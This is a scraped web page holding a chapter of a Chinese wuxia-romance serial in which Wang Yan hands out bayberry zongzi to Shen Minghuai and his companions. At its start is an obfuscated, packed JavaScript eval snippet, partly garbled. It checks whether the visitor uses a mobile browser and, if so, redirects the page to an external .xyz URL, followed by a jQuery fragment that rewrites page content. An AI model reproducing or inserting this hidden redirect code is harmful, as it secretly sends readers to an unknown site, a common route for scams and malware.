;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276302|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不会了不会了。”王琰瞧了瞧案板上的五色新丝，“我用金线，与你们的区分开。” 风槐生在她拿杨梅的那一刻，弹出一糯米粒。杨梅脱手，王琰飞身去接，又被风槐生另一粒米弹到别处，王琰随即掷出一片竹叶将杨梅裹住，后倾身接住。 “还不拾起洗净？”嬴君棠训斥一番，“若要练功便出去。” 王琰叉腰责备道：“就是就是。粽子里该落灰尘了。” “是是是，是我不是。”风槐生捡起那两粒米，“阿潆的反应有长进。” “下山历练，自然大有长进。”王琰将裹好的粽子放上竹笼，又想起什么似的，匆匆离开，“师兄你先替我包着，去去就回。” “你这又放了多少杨梅？”李长凌随手扯了一根丝线替她包好。 “行了行了，吃不下这么多。”嬴君棠打掉风槐生手里的竹叶，“我这便给你们准备浴兰汤。” 临行前，王琰将剩下的杨梅粽放入兜里，依依不舍地挥别风槐生夫妇。 她二人赶回临江仙时天色已暗，沈明淮一行人正起身往外走。王琰的出现，实是意外之喜，麦子领着大伙闹起来，沈明淮却只是呆呆地看着她。 王琰极力攥住怦怦跳动的心，佯作没瞧见似的与他擦身而过，在莫大的喧嚣声中清楚地听见，他叫了她的名字。 “王琰。” 她能感觉到他的目光正落在她身上。 “做真正的朋友罢。” 麦子见势将一柄精美的百花扇塞入王琰手中，指了指她身后之人。 “自觉绘工尚可，便随手画了。” 王琰转过身，瞧瞧扇子，看看他，“随手？” 麦子挠挠头，“我虽不懂，但瞧这精细程度，怎么着也得好几日才能完成罢？” 华信晃晃指头，“公子可只花了一夜的时间。” “一夜就画好了？”李长凌瞥他，“确是随手画画。” 华信站到沈明淮面前，“李少侠，话可不能这么说。公子单是想怎么画，就想了好几日呢。怎能说是随手画的？” 应冥少见地附和他，“李少侠要是知道我家公子师从何人，便不会这样说了。” 李长凌很是不屑，“师从何人，莫非还能是妙手丹青不成？” 应冥正要开口，王琰先一步拿出杨梅粽，从东往西分了一遭，麦子与付掌柜都拿的金丝粽，应冥与华信不幸拿到了蓝丝粽，独沈明淮一个也没分到。 应冥抱拳谢过，华信双目频频在他家公子与王琰之间往返。 麦子迅速将自己的粽子放到沈明淮手中，“我对杨梅过敏，不若给沈公子罢？” 不等王琰开口，沈明淮旋即道谢一声，飞速收下。瞧都未瞧一眼，好似什么都未发生，王琰直向大伙道：“诸位今日辛苦，收拾收拾便回罢。” 沈明淮知她还在怄气，未执意留下，念着此行还长，总会有机会说说清楚。走出临江仙不过几步，马尾高束的红衣男子伸臂拦在沈明淮面前。 “览之兄？” 李长凌勾上他的肩膀，似是来意不善。